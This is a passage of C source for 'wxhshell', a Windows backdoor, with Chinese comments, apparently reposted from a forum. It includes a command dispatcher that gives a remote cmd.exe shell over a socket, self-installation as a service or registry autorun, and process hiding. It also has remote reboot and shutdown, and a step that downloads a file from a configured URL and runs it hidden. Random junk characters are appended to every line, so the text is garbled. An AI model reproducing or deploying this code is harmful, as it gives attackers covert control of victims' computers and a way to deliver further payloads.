  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN@2 B  
  else LbnR=B!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;L|%H/SH  
  } 7^=O^!sa  
  else { =F6J%$  
YoJN.],gf  
    switch(cmd[0]) { OPar"z^EV  
  $w{#o E  
  // 帮助 ~u3E+w  
  case '?': { /_v@YB!0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lCDXFy(E  
    break; al1Uf]xh  
  } ~!\n  
  // 安装 L9(fa+$+#  
  case 'i': { K_(o D O  
    if(Install()) sJ,:[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .xS}/^8iD  
    else wUab)L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J=ZNx;{6  
    break; <^{|5u  
    } ~]3y66 7  
  // 卸载 zGF_ c9X  
  case 'r': { %R(1^lFI$  
    if(Uninstall()) 0@vSl%I+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!'\$(m E  
    else [;%qxAB/_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *s} dtJ  
    break; "9aiin  
    } ; 7k@_  
  // 显示 wxhshell 所在路径 Mz_*`lRN  
  case 'p': { |}t[- a  
    char svExeFile[MAX_PATH]; ;vnG  
    strcpy(svExeFile,"\n\r"); \^i/:  
      strcat(svExeFile,ExeFile); "aHA6zTB  
        send(wsh,svExeFile,strlen(svExeFile),0); 4fgA3%  
    break; '7 SFa]tH  
    } a~jM^b;VN  
  // 重启 G<U MZg  
  case 'b': { 6x7pqH M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1*,f  
    if(Boot(REBOOT)) '(4$h3-gv7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jNBvy1  
    else { EA8K*>'pv  
    closesocket(wsh); |p}qK Fdi  
    ExitThread(0); /z9oPIJ=*  
    } h.(CAm%Y7  
    break; w-LMV>+6|  
    } l.Iov?e1S  
  // 关机 |hk?'WGc`0  
  case 'd': { gq\ulLyOeZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $n.oY5=\  
    if(Boot(SHUTDOWN)) XDRw![H,~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:YtW5{  
    else { BxVo>r  
    closesocket(wsh); kdcr*7w  
    ExitThread(0); ]lV\D8#  
    } PRa #; Wb  
    break; B@U;[cO&  
    } >,wm-4&E  
  // 获取shell nO.RB#I$F  
  case 's': { d2Pqi* K  
    CmdShell(wsh); ( E;!.=%  
    closesocket(wsh); ~H`~&?  
    ExitThread(0); z)*7LI  
    break; >VIb|YA  
  } XR3=Y0YDf  
  // 退出 kqdF)Wa am  
  case 'x': { kwF4I )6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 w*DU9f  
    CloseIt(wsh); U51C /A  
    break; Q4i@y6z  
    } ;w--fqxVl  
  // 离开 Pv,Q*gh`  
  case 'q': { LX5, _`B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]#x!mZ!  
    closesocket(wsh); b+7!$  
    WSACleanup(); Y=94<e[f"  
    exit(1); no ).70K  
    break; M@%$9N)gd  
        } KElzYZl8  
  } 99)md   
  } FyY<Vx'yQ  
>..C^8 "  
  // 提示信息 m$6u K0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F6,[!.wl  
} ) bRj'*  
  } )4u6{-|A  
AT$eTZ]M  
  return; Cp{ j+Ia  
} Ky(=O1Ufu  
ixJ%wnz  
// shell模块句柄 1HPYW7jk@"  
int CmdShell(SOCKET sock) <e)5$Aj  
{ <? h`  
STARTUPINFO si; yCC.j%@  
ZeroMemory(&si,sizeof(si)); kIR?r0_<G6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *%6NuZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E3%:7MB  
PROCESS_INFORMATION ProcessInfo; -SO`wL NV  
char cmdline[]="cmd"; ]m&cVy&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k?[|8H~2C  
  return 0; "eRf3Q7w:  
} 1T96W :   
~m@v ~=  
// 自身启动模式 dB`3"aSN7  
int StartFromService(void) =\uQGH  
{ wX7|a/|@  
typedef struct c:>&iB-Yu  
{ ZoFQJJK56B  
  DWORD ExitStatus; xweV8k/  
  DWORD PebBaseAddress; YI0ubB  
  DWORD AffinityMask; 3"9'MDKH  
  DWORD BasePriority; GP|G[  
  ULONG UniqueProcessId; =gG_ %]``R  
  ULONG InheritedFromUniqueProcessId; ;G 27S<Q  
}   PROCESS_BASIC_INFORMATION; 3JnBKh\n  
Dj0`#~  
PROCNTQSIP NtQueryInformationProcess; %#g9d  
t>]wWYy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_|OGp_a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .@7J8FS*  
ZMFV iE;8  
  HANDLE             hProcess; D H}gvV  
  PROCESS_BASIC_INFORMATION pbi; D`|.%  
4^|;a0Qy]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~D[5AXV`^  
  if(NULL == hInst ) return 0; ? dD<KCbP,  
5yC$G{yV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HZ>8@AVa\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WrzyBG_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i]sz*\P~  
{Vg8pt  
  if (!NtQueryInformationProcess) return 0; gtizgUS7  
MGoYL \  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YbX3_N&  
  if(!hProcess) return 0; ]6#7TT  
+vR$%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aVI%FycYo  
eJh4hp;x  
  CloseHandle(hProcess); _4H}OGZI  
<X5'uve  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y%1 J[W  
if(hProcess==NULL) return 0; 3>jL7sh%|  
A$w0+&*=  
HMODULE hMod; $8k QM  
char procName[255]; N9lCbtn(0x  
unsigned long cbNeeded; '%k<? *  
c_oI?D9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [;IW'cXNq  
E Z^eEDZ  
  CloseHandle(hProcess); EqY e.dF,  
+}MV$X  
if(strstr(procName,"services")) return 1; // 以服务启动 1O<Gg<<,e  
fevL u[,  
  return 0; // 注册表启动 A(!nT=0o  
} -85]x)JE  
1r %~Rm  
// 主模块 ,}9G|$  
int StartWxhshell(LPSTR lpCmdLine) ubq4Zv7'   
{ hN~]$"@2  
  SOCKET wsl; 8(GH.)I+0  
BOOL val=TRUE; Mo4#UV  
  int port=0; <ZF,3~v?  
  struct sockaddr_in door; F0 cde  
]}K\&ho2  
  if(wscfg.ws_autoins) Install(); N S^(5g  
Y5J}*`[Mr  
port=atoi(lpCmdLine); ,d^ze=  
&3jq'@6  
if(port<=0) port=wscfg.ws_port; [gZz'q&[)  
$?38o6  
  WSADATA data; d@ +}_R"c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vY+{zGF  
_.Ey_K_1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =U:9A=uEvS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dMcCSwYh  
  door.sin_family = AF_INET; bzI!;P1&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zvvF 9  
  door.sin_port = htons(port); tcovMn '  
Cfizh@<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xjm|ewo  
closesocket(wsl);  |7ga9  
return 1; +Lq;0tRC  
} VxlK:*t`  
q T16th[D  
  if(listen(wsl,2) == INVALID_SOCKET) { NT qtr="  
closesocket(wsl); aD2+9?m  
return 1; ! OM P]  
} .d\<}\zZ7J  
  Wxhshell(wsl); GrwoV~  
  WSACleanup(); ul{u^ j  
6]GEn=t  
return 0; r6B\yH2  
F4!,8)}  
} ^uU'Qc4S=  
9t`Z_HwdCb  
// 以NT服务方式启动 (IAc*V~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0SoU\/kUi  
{ 5<%]6cx}  
DWORD   status = 0; -jBk  
  DWORD   specificError = 0xfffffff; fS( )F*J  
R @h@@lSf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IW48Sg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "E? 8. `T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )gO=5_^u*o  
  serviceStatus.dwWin32ExitCode     = 0; >a5M:s)  
  serviceStatus.dwServiceSpecificExitCode = 0; IaxzkX_48  
  serviceStatus.dwCheckPoint       = 0; .EOHkhn  
  serviceStatus.dwWaitHint       = 0; XHKVs  
(kECV8)2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ch`nDIne  
  if (hServiceStatusHandle==0) return; 0YMmWxV  
s_(%1/{  
status = GetLastError(); uYh6q1@"~  
  if (status!=NO_ERROR) gk%8iT  
{ 8,E#vQ55}(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |]qwD,eiH,  
    serviceStatus.dwCheckPoint       = 0; 1[QH68  
    serviceStatus.dwWaitHint       = 0; 9.bMA<X  
    serviceStatus.dwWin32ExitCode     = status; x]({Po4  
    serviceStatus.dwServiceSpecificExitCode = specificError; oXCZpS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EYwDv4H,g  
    return; \u|8MEB  
  } i-Le&  
0(owFNUBs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2r+@s g  
  serviceStatus.dwCheckPoint       = 0; 6Y#-5oE u/  
  serviceStatus.dwWaitHint       = 0; Vrz6<c-'B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q77iMb]  
} NW}kvZ  
W#p A W  
// 处理NT服务事件,比如:启动、停止 7l-` k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PI"&-lXI-m  
{ ?0Xt|  
switch(fdwControl) <lk_]+ XJ3  
{ rUunf'w`e1  
case SERVICE_CONTROL_STOP: qXHr"  
  serviceStatus.dwWin32ExitCode = 0; $,vZX u|Qw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #8 N9@  
  serviceStatus.dwCheckPoint   = 0; 3@k;"pFa<  
  serviceStatus.dwWaitHint     = 0; *fBI),bZa  
  { 91oIxW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^qZ~US  
  } Vt_NvPB`  
  return; F8q&v"  
case SERVICE_CONTROL_PAUSE: O*af`J{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -j%!p^2j9  
  break; ]jWe']T  
case SERVICE_CONTROL_CONTINUE: S9sFC!s1g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R5QSf+/T4  
  break; l8n}&zX  
case SERVICE_CONTROL_INTERROGATE: Z%*_kk  
  break; (n&Hjz,Fv  
}; $qN+BKd]3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sje}E+{[  
}  E%g_O_  
TQx''$j\  
// 标准应用程序主函数 {u BpM9KT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7)S ;VG k  
{ U=<E,tM  
MC5M><5\  
// 获取操作系统版本 k~ZwHx(%S  
OsIsNt=GetOsVer(); e+"r L]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); opz.kP[e,  
H6<\7W89y  
  // 从命令行安装 uJ S+;H  
  if(strpbrk(lpCmdLine,"iI")) Install(); jW6~^>S  
q#v&&]N=  
  // 下载执行文件 =bUVGjr%96  
if(wscfg.ws_downexe) { !<"H73?fl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -9"hJ4  
  WinExec(wscfg.ws_filenam,SW_HIDE); f-5vE9G3y7  
} ^>?gFvWB%  
5 ^}zysY`  
if(!OsIsNt) { C\7qAR\  
// 如果时win9x,隐藏进程并且设置为注册表启动 cdL$T6y  
HideProc(); EP#3+B sH  
StartWxhshell(lpCmdLine); OQ<|Xd I$  
} $CaF"5}?Ke  
else 6MfjB@  
  if(StartFromService()) ;4nz'9+  
  // 以服务方式启动  EthnI7Y  
  StartServiceCtrlDispatcher(DispatchTable); clz6; P  
else iMnp `:*  
  // 普通方式启动 mA5xke_)  
  StartWxhshell(lpCmdLine); qyMR0ai-  
ZHxdrX)  
return 0; \WD}@6) ~  
}
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只看该作者 1 发表于: 2006-10-10
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